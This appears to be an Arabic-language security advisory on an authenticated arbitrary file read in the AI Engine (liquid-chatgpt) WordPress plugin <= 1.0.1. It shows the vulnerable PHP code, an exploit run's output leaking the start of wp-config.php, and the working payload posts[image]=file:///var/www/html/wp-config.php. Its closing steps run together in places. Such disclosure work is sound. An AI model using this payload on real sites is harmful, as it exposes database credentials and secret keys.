
محرك الذكاء الاصطناعي لووردبريس: ChatGPT, GPT Content Generator <= 1.0.1 - قراءة ملفات عشوائية لمستخدمين مصادق عليهم (مساهم فما فوق)
يحتوي إضافة AI Engine for WordPress على ثغرة في ميزة إدراج الصور تسمح لأي مستخدم موثَّق لديه صلاحيات تحرير المنشورات (مساهم، مؤلف، محرر، مدير) بتنزيل ملفات عشوائية من الخادم. تنشأ الثغرة من عدم وجود فحوصات صلاحية مناسبة في نقطة النهاية AJAX lqdai_update_post ودالة insert_image() التي تستخدم file_get_contents() مع عناوين URL يتحكم بها المستخدم دون التحقق من البروتوكول، مما يسمح بتنزيل ملفات عشوائية عبر بروتوكول file://.
wp-config.php للموقع. python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
يستدعي إجراء AJAX lqdai_update_post دالة update_post() في السطر 315 من ملف /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php، الذي يفتقر إلى فحوصات صلاحية مناسبة ويسمح لأي مستخدم موثَّق بتعديل المنشورات التي يمكنه تحريرها:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- ثغرة تنزيل ملفات عشوائية
}
}
}
تستخدم دالة insert_image() في السطر 419 الدالة file_get_contents() مع عناوين URL يتحكم بها المستخدم دون التحقق من البروتوكول، مما يسمح بتنزيل ملفات عشوائية:
function insert_image( $post_id, $image_url ) {
// Get the path to the uploads directory
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// Save the image to the uploads directory
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- يكتب
// Get the attachment ID for the image
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// Set the attachment ID as the featured image for the post
set_post_thumbnail($post_id, $attachment_id);
}
يسمح بناء المسار الضعيف بقراءة الملفات المحلية عبر بروتوكول file://:
// يوفر المستخدم: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// تقرأ file_get_contents() الملف (تعمل افتراضيًا في PHP)
$image_data = file_get_contents($image_url); // يقرأ /var/www/html/wp-config.php
// يتم إنشاء اسم الملف من المسار
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// تقوم parse_url() بإرجاع '/var/www/html/wp-config.php'
// تقوم sanitize_file_name() بإزالة الشرطات: 'varwwwhtmlwp-config.php'
// تلحق '.jpg': 'varwwwhtmlwp-config.php.jpg'
// يتم كتابة الملف في دليل الرفع
$file = $upload_dir['path'] . '/' . $filename;
// النتيجة: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // يكتب محتوى wp-config.php
/wp-admin/admin-ajax.php يستدعي إجراء lqdai_update_post.file:// في البارامتر posts[image].posts[image]=file:///var/www/html/wp-config.php لقراءة ملف تكوين ووردبريس./wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.